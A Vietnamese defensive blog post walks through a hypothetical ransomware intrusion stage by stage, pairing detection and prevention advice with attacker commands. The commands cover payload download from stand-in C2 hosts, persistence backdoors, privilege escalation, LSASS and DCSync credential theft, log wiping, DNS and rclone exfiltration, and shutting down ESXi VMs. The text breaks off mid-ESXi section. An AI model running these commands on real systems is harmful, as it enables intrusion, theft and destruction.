Giải phẫu một cuộc tấn công Ransomware 2026 – Từ Zero đến Full Compromise
Series: DevSecOps thực chiến từ chiến hào | Bài #1! Estimated reading time: ~90 phút. Pha cà phê trước đi, bạn sẽ cần.
1. Mở đầu: Cái thứ Sáu mà không ai muốn nhớ
Thứ Sáu, 17h45.
Nhân viên công ty VietSaaS Solutions — một startup SaaS khoảng 120 người ở quận 7, TP.HCM — bắt đầu tắt máy về nhà. Cuối tuần rồi, ai cũng hào hứng. Developer hẹn nhau nhậu. Sysadmin Tuấn tranh thủ về quê thăm con. CTO Hùng bay ra Hà Nội họp đối tác.
Không ai biết rằng, ngay lúc đó, một kẻ tấn công đang ngồi đâu đó — có thể ở Đông Âu, có thể rất gần Việt Nam — đang âm thầm leo thang đặc quyền trên hạ tầng của họ. Hắn đã ở trong hệ thống 18 ngày rồi. Chỉ đợi thứ Sáu cuối tuần dài để ra đòn.
23h12, thứ Sáu: Script tự động bắt đầu chạy. Hàng nghìn file trên NAS share, database server, backup server bị mã hoá đồng loạt. ESXi host — máy chủ ảo hoá chạy toàn bộ production — bị shutdown từng VM rồi mã hoá VMDK trực tiếp. Quá trình mã hoá ~8TB dữ liệu mất khoảng 4 tiếng.
3h sáng thứ Bảy: Hệ thống monitoring im lặng hoàn toàn. Không phải vì không có sự cố — mà vì con agent monitoring cũng đã bị xoá từ 2 ngày trước đó.
7h sáng thứ Hai: Nhân viên vào ca, không ai mở được app nào. Database connection refused. File server không trả lời. Và trên màn hình một số máy văn phòng, wallpaper đã bị đổi thành:
!!! YOUR NETWORK HAS BEEN COMPROMISED !!!
All your files have been encrypted with military-grade encryption.
Your sensitive data (source code, customer PII, financial records)
has been exfiltrated to our secure servers.
To restore your files: 22 BTC (~$2,100,000 USD)
Deadline: 96 hours
Failure to pay will result in:
1. Public leak of all customer data (87,000 records)
2. Notification to your customers and partners
3. Sale of your source code to competitors
Contact: [redacted].onion
ID: VS-2026-0314
CTO Hùng nhận tin nhắn lúc 7h15. Anh đang trên taxi ra sân bay. Gọi cho Tuấn — không bắt máy, đang trên xe khách từ quê về. Gọi cho dev lead — người này cũng chỉ biết nhìn màn hình ngơ ngác.
Đến 9h sáng thứ Hai, cả công ty mới nhận ra mức độ thảm hoạ:
- Toàn bộ database production bị mã hoá, không backup nào còn nguyên — backup server cũng bị tấn công.
- 87.000 records khách hàng đã bị exfiltrate: tên, email, SĐT, và dữ liệu giao dịch tài chính.
- Source code toàn bộ sản phẩm đã bị copy ra ngoài.
- Hệ thống down hoàn toàn. Không một service nào chạy được.
Những gì xảy ra tiếp theo thì nặng nề lắm.
Trong 48 giờ sau, một đối tác lớn gửi thông báo tạm dừng hợp đồng. Luật sư của họ hỏi về breach notification theo Nghị định 13/2023/NĐ-CP. Một số khách hàng nhận được tin nhắn lạ — dữ liệu đã bị bán rồi.
Thiệt hại ước tính sau 3 tháng:
| Khoản | Chi phí |
|---|---|
| Tiền chuộc (đàm phán còn 14 BTC) | ~1.3 tỷ đồng |
| Incident Response thuê ngoài | ~400 triệu |
| Rebuild hạ tầng từ đầu | ~600 triệu |
| Mất 2 hợp đồng lớn | ~4 tỷ đồng doanh thu |
| Nhân sự nghỉ việc (7 người core) | Không định lượng được |
| Danh tiếng, brand | Không định lượng được |
Mình kể câu chuyện này không phải để dọa. Câu chuyện trên là giả định, nhưng được xây dựng từ những vụ thật mình từng tham gia xử lý hoặc nghe đồng nghiệp kể lại. Chi tiết thay đổi, nhưng bản chất giống nhau đến đáng sợ.
Điều khiến mình viết bài này là: hầu hết công ty Việt Nam vẫn chưa hiểu ransomware hiện đại thật sự hoạt động như thế nào. Họ nghĩ cài antivirus là xong. Họ nghĩ backup là đủ — mà backup để chung network với production thì không phải backup. Họ nghĩ "công ty mình nhỏ, ai thèm tấn công".
Sai hết.
Hôm nay mình sẽ mổ xẻ từ A đến Z một cuộc tấn công Ransomware điển hình năm 2026, từ lúc chúng chưa vào được hệ thống cho đến lúc kiểm soát hoàn toàn.
Không phải để dạy tấn công. Mà để bạn — developer, sysadmin, hay CTO — hiểu đủ để phòng thủ đúng.
2. Ransomware 2026 đã khác xa trước đây
Nếu bạn vẫn đang nghĩ ransomware là kiểu "click nhầm file đính kèm email, máy tính bị khoá, trả 500 USD là xong" — thì xin lỗi, đó là ransomware năm 2017. Năm 2026, con thú này đã tiến hoá kinh khủng.
2.1 Từ Spray-and-Pray đến Targeted Attack
Ransomware thời kỳ đầu (2013–2019) hoạt động theo kiểu spray and pray: phát tán hàng loạt, mã hoá máy tính cá nhân, đòi vài trăm USD. Random, không chọn lọc.
Từ 2020 trở đi, game thay đổi. Các nhóm lớn bắt đầu chọn mục tiêu có giá trị cao: doanh nghiệp, bệnh viện, cơ sở hạ tầng quan trọng. Tiền chuộc nhảy từ vài trăm USD lên hàng triệu USD. Thời gian chuẩn bị kỹ lưỡng hơn, reconnaissance kỹ hơn. Đây là Big Game Hunting.
Năm 2026, gần như tất cả các cuộc tấn công ransomware nghiêm trọng đều là targeted. Kẻ tấn công nghiên cứu mục tiêu của chúng có khi vài tháng trước khi ra tay.
2.2 Quadruple Extortion – Tống tiền 4 tầng
Đây là thứ làm ransomware 2026 đáng sợ hơn nhiều:
| Tầng | Mô tả |
|---|---|
| 1st Extortion | Mã hoá dữ liệu, đòi tiền chuộc để lấy decryption key |
| 2nd Extortion | Đe doạ leak dữ liệu đã exfiltrate lên Data Leak Site nếu không trả |
| 3rd Extortion | DDoS vào hệ thống nạn nhân trong khi đang đàm phán, tạo thêm áp lực |
| 4th Extortion | Liên hệ trực tiếp với khách hàng/đối tác của nạn nhân, hoặc bán data cho đối thủ cạnh tranh |
Cái 3rd và 4th đã gần như thành chuẩn của nhiều nhóm lớn từ 2024–2025 và phổ biến hơn vào 2026. Bạn không trả tiền? OK, khách hàng của bạn sẽ nhận email thông báo dữ liệu bị lộ. Báo chí sẽ đưa tin. Cơ quan quản lý sẽ hỏi thăm.
Đây là lý do tại sao ngay cả khi bạn có backup tốt, bạn vẫn có thể phải đối mặt với tống tiền. Backup giải quyết được chuyện encrypt, nhưng không giải quyết được dữ liệu đã bị lấy ra ngoài.
2.3 Ransomware-as-a-Service (RaaS) và Initial Access Broker
Mô hình kinh doanh của ransomware hiện đại:
┌─────────────────────────────────────────────────────────────┐
│ RANSOMWARE ECOSYSTEM 2026 │
├──────────────────┬──────────────────┬───────────────────────┤
│ DEVELOPER/CORE │ AFFILIATES │ INITIAL ACCESS │
│ │ │ BROKERS (IAB) │
│ - Viết malware │ - Tìm mục tiêu │ │
│ - Maintain C2 │ - Deploy │ - Chuyên xâm nhập │
│ - Infrastructure│ - Negotiate │ - Bán access lại │
│ │ - Thu tiền │ - $500 – $50,000/ │
│ │ │ access tùy target │
│ Cut: 20–30% │ Cut: 70–80% │ │
└──────────────────┴──────────────────┴───────────────────────┘
Initial Access Broker (IAB) là thành phần mà nhiều người chưa để ý. Đây là những kẻ chuyên xâm nhập vào hệ thống rồi bán quyền truy cập cho các nhóm ransomware khác. Họ không tự mã hoá, không tống tiền — họ chỉ bán "cửa vào".
Nghĩa là: một công ty có thể đã bị compromise từ nhiều tháng trước, nhưng kẻ thật sự ra đòn là một nhóm khác mua access từ IAB.
2.4 AI đang được dùng như thế nào?
AI không phải vũ khí thần thánh — nhưng nó tăng tốc độ và quy mô ở một số bước:
- Spear-phishing cá nhân hoá cực cao: AI sinh email lừa đảo thuyết phục, có tên thật nạn nhân, chức vụ, thậm chí phong cách viết lấy từ social media. Không còn kiểu email tiếng Anh sai ngữ pháp nữa.
- Tự động recon: Crawl LinkedIn, GitHub, job posting để map hạ tầng mục tiêu.
- Adaptive C2: Một số malware thế hệ mới tự điều chỉnh hành vi để tránh bị detect.
- Barrier to entry thấp hơn rất nhiều: Script kiddie ngày xưa cần kiến thức kỹ thuật. Bây giờ... bạn biết rồi đó.
2.5 Xu hướng nguy hiểm đặc biệt năm 2026
Encryptionless Ransomware: Thay vì mã hoá, chỉ steal data và đòi tiền. Không cần key giải mã, không cần deploy malware phức tạp. Đơn giản hơn, phát hiện khó hơn.
Tấn công ESXi và hypervisor: VMware ESXi là mục tiêu yêu thích vì một host có thể chứa hàng chục VM. Mã hoá một VMDK file là kill cả một VM. Các nhóm Akira, LockBit, Qilin đều có ESXi/Linux variant.
Tấn công backup trước tiên: Attacker identify và disable/encrypt backup systems trước khi ra đòn chính vào production.
Cross-platform malware: Cùng một mã độc chạy được trên Windows, Linux, macOS.
3. Giải phẫu toàn bộ cuộc tấn công
Vào phần chính. Mình đi theo từng giai đoạn theo thứ tự thời gian, dựa trên MITRE ATT&CK framework nhưng giải thích bằng ngôn ngữ thường — không phải academic jargon.
Trước hết, overview timeline:
DAY 1–3 : Initial Access (Xâm nhập ban đầu)
DAY 3–7 : Execution & Persistence (Cắm cắm, ở lại)
DAY 7–14 : Privilege Escalation + Defense Evasion
DAY 14–18 : Credential Access + Discovery + Lateral Movement
DAY 18–21 : Data Exfiltration
DAY 21: Encryption & Impact (Ra đòn chính)
DAY 21+: Extortion (Tống tiền)
21 ngày ở trong hệ thống trước khi ra đòn. Đây không phải tấn công vội vã — đây là chiến dịch có kế hoạch.
3.1 Initial Access – Cánh cửa đầu tiên
Mục tiêu: Đặt chân vào được network của nạn nhân.
A. VPN và Remote Access Exploitation
Đây là vector số 1 của năm 2024–2026. Sau COVID, hầu hết công ty mở rộng VPN/remote access rồi... quên update. Một số CVE cực kỳ nguy hiểm:
- Fortinet FortiGate (CVE-2024-21762, CVE-2023-27997): Authentication bypass, unauthenticated RCE
- Ivanti Connect Secure (CVE-2025-0282): Stack-based buffer overflow, RCE pre-auth
- Palo Alto PAN-OS (CVE-2024-3400): Command injection trong GlobalProtect
- Cisco ASA/FTD (CVE-2023-20269): Brute force không bị rate-limit
Kịch bản: attacker scan internet tìm các VPN endpoint theo version, sau đó exploit CVE đã có public PoC. Với Shodan/Censys/FOFA, việc tìm hàng nghìn target trong một quốc gia chỉ mất vài phút.
Cách detect:
- Alert authentication failures bất thường trên VPN gateway
- Alert access từ geo-location bất thường
- Monitor firmware version của VPN appliance so với CVE database
Cách phòng:
- Patch ngay khi có critical CVE — 24–48 giờ, không phải "để sprint sau"
- Bắt buộc MFA trên tất cả remote access
- Không expose management interface ra internet
- Giới hạn IP được phép kết nối VPN nếu có thể
B. Phishing và Social Engineering
Phishing vẫn cực kỳ hiệu quả — không phải vì người dùng ngu, mà vì phishing ngày càng tinh vi. Năm 2026, spear-phishing AI-generated trông y như email từ đồng nghiệp hoặc đối tác thật.
Ví dụ email phishing được cá nhân hoá bằng AI:
─────────────────────────────────────────────────
From: procurement@erp-solutions-vn.com ← domain đăng ký 3 ngày trước
To: ketoan@vietsaas.vn
Subject: Re: Báo giá ERP - bổ sung theo yêu cầu của anh Khoa
Chị Lan ơi,
Theo yêu cầu của anh Nguyễn Văn Khoa (CTO) trong buổi call hôm qua,
em gửi lại bộ tài liệu technical spec và file demo license key.
Chị vui lòng xem và forward cho anh ạ.
[Xem tài liệu — đăng nhập bằng tài khoản công ty]
─────────────────────────────────────────────────
Tên "Khoa" từ LinkedIn công khai. Tên "Lan" từ email công ty. Domain trông giống thật. Link dẫn đến trang Microsoft 365 login giả (Adversary-in-the-Middle) — steal session token sau khi user đã login và vượt MFA.
Kỹ thuật MFA bypass phổ biến năm 2026:
- AiTM Phishing (Evilginx, Modlishka): Proxy giữa user và Microsoft 365, steal session cookie sau MFA
- MFA Fatigue: Spam push notification đến lúc user mệt mỏi bấm "Approve"
- SIM Swapping: Với SMS OTP — lấy lại số điện thoại
Cách phòng:
- Phishing-resistant MFA (FIDO2/Passkey) — đây là loại duy nhất chặn được AiTM
- Security awareness training cho nhân viên, đặc biệt HR, kế toán, admin
- DMARC/DKIM/SPF đầy đủ cho email domain
- Browser-based phishing protection
C. Exposed Services
RDP, database port, admin panel mở ra internet — Shodan đã index hết rồi.
💡 Bạn có biết công ty bạn đang expose gì ra internet không? Vào shodan.io, search
org:"Tên công ty bạn"và xem kết quả. Nhiều người rất bất ngờ.
Cách phòng:
- Định kỳ scan external attack surface (Shodan Monitor, SecurityTrails, Nuclei)
- Mọi remote access phải đi qua VPN hoặc Zero Trust proxy — không expose thẳng
- Không bao giờ để management port (3389, 22, 5900) mở ra internet
D. Mua Access từ Initial Access Broker
Trên các dark web forum, access vào doanh nghiệp được rao bán như hàng hoá. Các nhóm ransomware mua, sau đó bắt đầu từ bước Privilege Escalation luôn.
3.2 Execution & Persistence – Cắm rễ vào hệ thống
Vào được rồi, việc tiếp theo là không bị bắt và duy trì access dù bị reboot hay bị phát hiện một phần.
Living off the Land (LotL)
Thay vì drop file .exe truyền thống — dễ bị AV detect — attacker dùng chính các công cụ có sẵn trong Windows/Linux:
# PowerShell download cradle — load payload từ internet, không lưu file
IEX (New-Object Net.WebClient).DownloadString('https://c2.attacker.com/stage2.ps1')
# certutil — built-in Windows tool, dùng để download malware
certutil.exe -urlcache -split -f https://c2.attacker.com/beacon.exe C:\Windows\Temp\svc.exe
# WMIC process call
wmic process call create "powershell -ep bypass -w hidden [payload]"
# Linux: download và execute in-memory (không tạo file)
curl -s https://c2.attacker.com/implant.sh | bash
C2 frameworks phổ biến năm 2026:
- Cobalt Strike — vẫn phổ biến dù bị crack/leak nhiều
- Sliver — open-source, behavioral detection khó hơn
- Brute Ratel C4 — ít bị AV phát hiện
- Havoc Framework — mới, nhiều evasion technique
Persistence Mechanisms
# Scheduled Task — giả làm Windows system task
schtasks /create /sc SYSTEM /tn "MicrosoftEdgeUpdate" `
/tr "powershell -ep bypass -w hidden -c [encoded_payload]" /ru SYSTEM /f
# Registry Run key
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" `
/v "WindowsDefenderUpdate" /t REG_SZ /d "C:\Windows\Temp\updater.exe" /f
# Windows Service (dễ survive reboot)
sc create "WinDefHealth" binpath= "C:\Windows\Temp\svc.exe" start= auto type= own
sc start "WinDefHealth"
# Linux: Systemd service để survive reboot
cat > /etc/systemd/system/network-monitor.service << 'EOF'
[Unit]
Description=Network Health Monitor
After=network.target
[Service]
ExecStart=/usr/local/bin/nhm
Restart=always
RestartSec=30
[Install]
WantedBy=multi-user.target
EOF
systemctl enable network-monitor --now
# SSH backdoor — thêm attacker key vào authorized_keys
echo "ssh-rsa AAAA...attacker_pubkey..." >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
Cách detect:
- Sysmon (Windows): log process creation, network connection, registry change
- auditd (Linux): log execve, file creation, network connection
- Alert khi có scheduled task hoặc service mới được tạo — đặc biệt sau giờ hành chính
- Baseline authorized_keys files và alert khi thay đổi
Cách phòng:
- Application whitelisting (AppLocker hoặc WDAC trên Windows)
- Constrained Language Mode cho PowerShell
- Disable PowerShell v2 (không có logging)
- Signed script only cho PowerShell
3.3 Privilege Escalation – Leo lên Domain Admin
Vào được với tài khoản thường hoặc service account chưa đủ. Attacker cần leo lên local admin, rồi Domain Admin để có thể di chuyển khắp network.
Local Privilege Escalation trên Windows
# Dùng WinPEAS để tìm misconfiguration
.\winPEASx64.exe quiet > C:\Windows\Temp\wp_out.txt
# Thường tìm thấy:
# - Unquoted service path
# - Weak service permissions
# - AlwaysInstallElevated = 1
# - SeImpersonatePrivilege (với service accounts)
SeImpersonatePrivilege là cái hay gặp nhất — IIS, SQL Server, các service account thường có. Exploit bằng "Potato" attacks:
# GodPotato — leo từ service account lên SYSTEM
.\GodPotato.exe -cmd "cmd /c net user hacker P@ssw0rd123 /add && net localgroup Administrators hacker /add"
# Kết quả: tạo được local admin account từ service account thường
Active Directory Privilege Escalation
AD là trung tâm xác thực của hầu hết doanh nghiệp. Chiếm được AD = chiếm được tất cả.
Kerberoasting — một trong những kỹ thuật phổ biến nhất và hiệu quả nhất:
# Request TGS ticket cho service accounts có SPN
# Ticket mã hoá bằng password hash của account đó → crack offline
.\Rubeus.exe kerberoast /outfile:C:\Windows\Temp\hashes.txt
# Crack offline bằng hashcat (không cần kết nối network nữa)
# Mode 13100 = Kerberos 5 TGS-REP etype 23
hashcat -m 13100 hashes.txt rockyou.txt -r rules/best64.rule
# Service account với password 8 ký tự thường → crack trong vài phút đến vài giờ
DCSync Attack — cực kỳ nguy hiểm, pull hash của bất kỳ account AD nào:
# Nếu có quyền "Replicating Directory Changes" trên AD
# Có thể pull NTLM hash của bất kỳ user nào, kể cả krbtgt
mimikatz# lsadump::dcsync /domain:company.local /user:krbtgt
# krbtgt hash → Golden Ticket → access mọi thứ trong AD, không expire
Linux Privilege Escalation
# LinPEAS — tương tự WinPEAS
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
# Các findings phổ biến:
sudo -l # Nếu có NOPASSWD entry → leo root ngay
find / -perm -4000 -type f 2>/dev/null # SUID binaries
cat /etc/crontab # Cron jobs chạy dưới root với path có thể write được
# Ví dụ sudo exploit
# Nếu: (ALL) NOPASSWD: /usr/bin/vim
sudo vim -c ':!/bin/bash' # Spawn root shell từ vim
Cách detect:
- Alert khi LSASS bị access bởi process không phải system process
- Monitor Event ID 4769 (TGS request) bất thường — nhiều request trong thời gian ngắn
- Alert DCSync activity (Event ID 4662 với GUID liên quan đến replication rights)
Cách phòng:
- Service accounts dùng Group Managed Service Accounts (gMSA) — password tự động rotate 30 ngày, không thể Kerberoast
- Protected Users security group cho privileged accounts — vô hiệu hoá nhiều attack vectors
- Tiered Administration Model — admin accounts riêng, không dùng chung với daily-use account
- Enable Credential Guard (Windows 10/11) — ngăn credential extraction từ memory
3.4 Defense Evasion – Qua mặt AV và EDR
Đây là giai đoạn mà nhiều attacker "thành thần". Vào được mà bị phát hiện thì toàn bộ công sức đổ sông đổ biển.
Disable hoặc Bypass Security Tools
# Disable Windows Defender (với admin rights)
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableBehaviorMonitoring $true
Set-MpPreference -DisableBlockAtFirstSeen $true
# Thêm exclusion — bypass scan cho thư mục làm việc
Add-MpPreference -ExclusionPath "C:\Windows\Temp"
Add-MpPreference -ExclusionProcess "powershell.exe"
# Tamper protection phải tắt từ trước hoặc dùng technique khác
BYOVD (Bring Your Own Vulnerable Driver) — kỹ thuật phổ biến để kill EDR:
1. Upload một Windows driver hợp lệ nhưng có lỗ hổng kernel
(Ví dụ: driver của một số phần mềm AV hoặc game anti-cheat cũ)
2. Load driver vào kernel
3. Exploit lỗ hổng trong driver để write vào kernel memory
4. Patch EDR process trong memory → EDR không detect được gì nữa
hoặc terminate process của EDR hoàn toàn
Technique này rất khó defend vì driver được Microsoft sign hợp lệ.
Xóa Log và Evidence
# Clear Windows Event Logs
wevtutil cl System
wevtutil cl Security
wevtutil cl Application
wevtutil cl "Microsoft-Windows-PowerShell/Operational"
# Xóa PowerShell history
Remove-Item -Force "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
# Xóa prefetch files
Remove-Item -Force C:\Windows\Prefetch\* -ErrorAction SilentlyContinue
# Linux
history -c && history -w
cat /dev/null > /var/log/auth.log
cat /dev/null > /var/log/syslog
cat /dev/null > /var/log/secure
find /var/log -name "*.log" -exec truncate -s 0 {} \;
Đây là lý do tại sao bạn cần SIEM với log forwarding real-time. Nếu log chỉ lưu local, attacker xóa là xong. Nếu log đã ship ra SIEM bên ngoài trước đó rồi, attacker xóa local không ăn thua.
Obfuscation
# Encode payload thành Base64 — bypass nhiều signature-based detection
$cmd = "IEX(New-Object Net.WebClient).DownloadString('https://c2.attacker.com/p.ps1')"
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
powershell -EncodedCommand $encoded
# String concatenation để tránh string-matching
$a = "New-Ob"; $b = "ject"; $c = " Net.We"; $d = "bClient"
IEX("$a$b$c$d").DownloadString(...)
# Invoke-Obfuscation tool — tự động obfuscate PowerShell script
Cách detect:
- Behavioral analytics thay vì signature-based detection — đây là điểm mạnh của EDR tốt
- Alert Event ID 1102 (audit log cleared) và 104 (system log cleared) — ngay lập tức
- Monitor parent-child process relationships bất thường (e.g., Word.exe → PowerShell → cmd)
- PowerShell Script Block Logging bật lên — log toàn bộ code thực thi kể cả sau decode
Cách phòng:
- EDR với behavioral detection tốt (không chỉ signature-based)
- Centralized SIEM với log forwarding — ELK Stack hoặc Wazuh là free option tốt
- Không cho phép user disable AV/EDR
- Vulnerable Driver Blocklist (Windows có built-in từ 2022, cần enable)
3.5 Credential Access – Lấy mật khẩu và tokens
Một khi attacker có local admin hoặc SYSTEM, việc lấy credentials là không quá khó — nếu bạn không có biện pháp chống đỡ phù hợp.
LSASS Memory Dump
LSASS (Local Security Authority Subsystem Service) lưu credentials của các user đang đăng nhập trong memory. Dump nó ra là lấy được password hash, Kerberos tickets, thậm chí plaintext password (với WDigest auth enabled).
# Các cách dump LSASS phổ biến:
# 1. Task Manager (nếu có admin) — đơn giản nhất, nhưng bị detect nhiều
# Right-click lsass.exe → Create Dump File
# 2. ProcDump — Microsoft Sysinternals tool (LOtL)
procdump.exe -accepteula -ma lsass.exe C:\Windows\Temp\lsass.dmp
# 3. Comsvcs.dll — LOtL, khó detect hơn
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump [PID_of_lsass] C:\Windows\Temp\lsass.dmp full
# 4. Sau đó parse dump file với mimikatz (offline, tránh AV on target)
# sekurlsa::minidump lsass.dmp
# sekurlsa::logonpasswords
Credential Hunting trong Files
# Tìm credentials lưu trong config files — cái này hay thấy ở môi trường VN
findstr /si "password" C:\inetpub\*.config C:\xampp\*.ini C:\wamp\*.conf
findstr /si "connectionString" C:\inetpub\wwwroot\*.config
findstr /si "DB_PASS\|DB_PASSWORD\|SECRET" C:\xampp\htdocs\.env
# Tìm AWS credentials
Get-ChildItem -Recurse "$env:USERPROFILE\.aws" 2>$null
Get-ChildItem -Recurse "C:\Users\*\.aws\credentials" 2>$null
# Linux — cái này mình từng thấy cực nhiều ở các server VN
grep -r "DB_PASSWORD\|DB_PASS\|SECRET_KEY" /var/www/ 2>/dev/null
find / -name ".env" -readable 2>/dev/null
cat ~/.aws/credentials # AWS keys
find / -name "id_rsa" -readable 2>/dev/null # SSH private keys
find /var/log -name "*.log" | xargs grep -l "password=" 2>/dev/null
💡 Hỏi thật: Bạn có đang để password trong
.envfile trên production server không? Và file đó có được backup lên S3 bucket public không? Mình đã thấy cả hai trường hợp này trong thực tế.
Cách phòng:
- Secret Management: HashiCorp Vault (self-hosted, free), AWS Secrets Manager, hoặc Azure Key Vault
- Git scanning:
truffleHog,git-secrets,Gitleaks— chạy trong CI/CD pipeline để catch secrets trước khi commit - Enable Credential Guard trên Windows — ngăn extract credentials từ LSASS memory
- Protected Users group cho privileged accounts
- Phishing-resistant MFA (FIDO2) — kể cả có password cũng không đủ để login
3.6 Discovery & Lateral Movement – Vẽ bản đồ và mở rộng
Discovery là giai đoạn attacker tìm hiểu nội bộ: máy nào quan trọng, subnet nào, service nào, backup ở đâu.
# Windows internal reconnaissance
net user /domain # List domain users
net group "Domain Admins" /domain # Ai là Domain Admin?
net group "Enterprise Admins" /domain
ipconfig /all # Network info
arp -a # Machines đang active
nslookup -type=SRV _kerberos._tcp.company.local # Find DC
# PowerShell — nhiều thông tin hơn
Get-ADComputer -Filter * -Properties OperatingSystem,IPv4Address |
Select-Object Name,OperatingSystem,IPv4Address |
Export-Csv computers.csv
# Tìm servers đặc biệt quan trọng
Get-ADComputer -Filter {Name -like "*backup*" -or Name -like "*veeam*" -or Name -like "*esxi*"}
BloodHound — "GPS" của Active Directory
BloodHound là công cụ open-source cực kỳ mạnh để phân tích AD và tìm attack path từ user thường lên Domain Admin. Attacker dùng SharpHound để thu thập data:
# Thu thập AD data — chạy với domain user bình thường cũng được
.\SharpHound.exe -c All --zipfilename bloodhound_data.zip
# Upload vào BloodHound UI
# Query: "Find Shortest Paths to Domain Admins"
# Query: "Find Principals with DCSync Rights"
# Query: "Computers where Domain Users are Local Admins"
BloodHound sẽ vẽ graph cho thấy: user A có local admin trên máy B → máy B đang có session của user C → user C là member của group D → group D có GenericAll trên OU chứa DA account. 4 bước từ user thường lên Domain Admin.
Lateral Movement Techniques
Với credentials đã có, di chuyển qua lại trong network:
# Pass-the-Hash — dùng NTLM hash, không cần plaintext password
# WMI execution trên remote host
$cred = New-Object System.Management.Automation.PSCredential(
"COMPANY\admin", (ConvertTo-SecureString "[password]" -AsPlainText -Force))
Invoke-WmiMethod -ComputerName "192.168.10.50" -Class Win32_Process `
-Name Create -ArgumentList "cmd /c whoami > C:\Temp\out.txt" -Credential $cred
# PsExec — classic, noisy nhưng nhanh
.\PsExec.exe \\192.168.10.50 -u COMPANY\admin -p [password] cmd
# PowerShell Remoting — WinRM
Enter-PSSession -ComputerName 192.168.10.50 -Credential COMPANY\admin
# SMB copy + remote exec
Copy-Item beacon.exe \\192.168.10.50\C$\Windows\Temp\ -Credential $cred
# Linux — với stolen SSH keys hoặc credentials
ssh -i /root/.ssh/stolen_key root@192.168.10.100
sshpass -p '[password]' ssh -o StrictHostKeyChecking=no admin@192.168.10.100
# Port scan để tìm tiếp targets
nmap -sV -p 22,80,443,3306,5432,6379,27017 192.168.10.0/24 -oN internal_scan.txt
Cách detect:
- Alert authentication từ một máy đến nhiều máy khác trong thời gian ngắn (lateral movement signature)
- Monitor Event ID 4624 logon type 3 (network logon) — đặc biệt ngoài giờ hành chính
- Network Detection với Zeek/Suricata — phát hiện port scan nội bộ
- Honeypot machines trong internal network — không có lý do gì để access vào đó
Cách phòng:
- LAPS (Local Administrator Password Solution) — mỗi máy có local admin password khác nhau. Attacker lấy được password của 1 máy không dùng được cho máy khác.
- Network segmentation — workstation không được talk trực tiếp với workstation khác
- Disable NTLM authentication, enforce Kerberos
- Tiered admin model — admin account chỉ dùng từ Privileged Access Workstation riêng
3.7 Data Exfiltration – Đánh cắp trước khi phá
Đây là bước quan trọng nhất năm 2026 và nhiều công ty không chú ý đủ. Trước khi mã hoá, attacker đã lấy hết dữ liệu quan trọng. Đây là nền tảng của 2nd/3rd/4th extortion.
Identify High-Value Data
# Tìm database backup files
Get-ChildItem -Recurse -Include *.bak,*.sql,*.dump,*.db,*.sqlite `
-ErrorAction SilentlyContinue | Sort-Object Length -Descending | Select-Object -First 50
# Tìm credentials, certificates, keys
Get-ChildItem -Recurse -Include *.pfx,*.pem,*.key,*.p12,*.ppk `
-ErrorAction SilentlyContinue
# Tìm sensitive documents
Get-ChildItem -Recurse -Include *.xlsx,*.pdf,*.docx,*contract*,*invoice*,*salary* `
-ErrorAction SilentlyContinue | Where-Object {$_.Length -gt 50KB}
# .env files với credentials
Get-ChildItem -Recurse -Name ".env",".env.local",".env.production" `
-ErrorAction SilentlyContinue
Exfiltration Techniques
Attacker cần lấy data ra ngoài mà không bị firewall/DLP chặn:
# Qua HTTPS — khó phân biệt với traffic thường
# Upload lên attacker-controlled server
curl -F "file=@customers_export.csv" https://legitimate-looking-domain.com/upload
# Rclone + Mega/cloud storage — phổ biến nhất năm 2024-2026
# Rclone là tool backup hợp lệ, ít bị block
rclone config create exfil mega --mega-user attacker@protonmail.com --mega-pass [pass]
rclone copy /var/backups/db_dump.sql exfil:data/ --progress
# SFTP/SCP ra VPS attacker
scp -i attacker_key /sensitive/data.tar.gz root@attacker-vps.com:/received/
# DNS exfiltration — cực kỳ khó phát hiện và block
# Encode data vào DNS queries
cat /etc/passwd | base64 | tr -d '\n' | fold -w 50 | \
while read chunk; do
nslookup "${chunk}.exfil.attacker-controlled-ns.com" > /dev/null
done
# Attacker nhận data qua authoritative DNS server của họ
Tốc độ thực tế: đường truyền 100Mbps → ~1TB data mất khoảng 2-3 tiếng. Hoàn toàn không ai để ý nếu không có network monitoring.
Cách detect:
- Baseline outbound traffic và alert khi vượt ngưỡng bất thường
- DNS analytics — alert khi có nhiều query đến domain mới đăng ký hoặc có entropy cao trong subdomain
- Alert khi Rclone, MEGAsync, hoặc similar tools chạy trên production server — không có lý do gì cho điều này
- Inspect SSL/TLS traffic (SSL inspection trên firewall) cho critical segments
Cách phòng:
- Egress filtering — production server không được kết nối ra internet trừ whitelist cụ thể
- DLP solution — content inspection cho outbound traffic
- Data classification — biết dữ liệu nhạy cảm ở đâu để monitor kỹ hơn
- Zero Trust Network — mọi connection đều phải authenticated và logged
3.8 Encryption & Impact – Ra đòn chính
Sau 2-3 tuần chuẩn bị, attacker flip the switch. Thường vào:
- Cuối tuần hoặc ngày lễ (ít người trực)
- Ngoài giờ làm việc (2-5 giờ sáng)
- Đồng loạt tất cả máy cùng lúc (giảm thời gian response)
Cơ chế mã hoá
Ransomware hiện đại dùng hybrid encryption để đảm bảo không thể crack:
┌────────────────────────────────────────────────────────┐
│ HYBRID ENCRYPTION ARCHITECTURE │
├────────────────────────────────────────────────────────┤
│ │
│ Mỗi file ──→ Random AES-256 key (symmetric, nhanh) │
│ ↓ │
│ File được mã hoá với AES-256 key đó │
│ ↓ │
│ AES key được mã hoá với RSA-2048/4096 │
│ public key của attacker │
│ ↓ │
│ RSA private key: chỉ attacker có │
│ │
│ Kết quả: Không có private key = không giải mã được │
│ Brute force RSA-2048 = thực tế không khả thi │
└────────────────────────────────────────────────────────┘
Tấn công ESXi — kill toàn bộ production
Đây là phần đặc biệt nguy hiểm cho các công ty dùng VMware:
# SSH vào ESXi với stolen credentials
# List tất cả VMs
vim-cmd vmsvc/getallvms | awk 'NR>1 {print $1}' > /tmp/vmids.txt
# Shutdown tất cả VMs gracefully (hoặc power off hard)
while read vmid; do
vim-cmd vmsvc/power.off "$vmid" 2>/dev/null || \
vim-cmd vmsvc/power.shutdown "$vmid" 2>/dev/null
done < /tmp/vmids.txt
sleep 120 # Đợi VMs shutdown
